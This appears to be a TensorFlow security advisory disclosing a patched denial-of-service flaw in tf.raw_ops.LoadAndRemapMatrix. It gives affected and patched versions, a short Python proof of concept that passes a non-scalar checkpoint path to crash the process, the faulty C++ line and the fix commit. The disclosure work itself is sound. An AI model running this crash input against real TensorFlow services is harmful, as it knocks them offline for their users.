| Package | Affected versions | Patched versions |
|---|---|---|
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow-cpu | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow-gpu | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
An attacker can cause a denial of service by exploiting a CHECK-failure coming from tf.raw_ops.LoadAndRemapMatrix:
import tensorflow as tf
ckpt_path = tf.constant([], shape=[0], dtype=tf.string)
old_tensor_name = tf.constant("")
row_remapping = tf.constant([], shape=[0], dtype=tf.int64)
col_remapping = tf.constant([1], shape=[1], dtype=tf.int64)
initializing_values = tf.constant(1.0)
tf.raw_ops.LoadAndRemapMatrix(
ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,
row_remapping=row_remapping, col_remapping=col_remapping,
initializing_values=initializing_values, num_rows=0, num_cols=1)
This is because the implementation assumes that the ckpt_path is always a valid scalar.
const string& ckpt_path = ckpt_path_t->scalar<tstring>()();
However, an attacker can send any other tensor as the first argument of LoadAndRemapMatrix. This would cause the rank CHECK in scalar<T>()() to trigger and terminate the process.
We have patched the issue in GitHub commit 77dd114513d7796e1e2b8aece214a380af26fbf4.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
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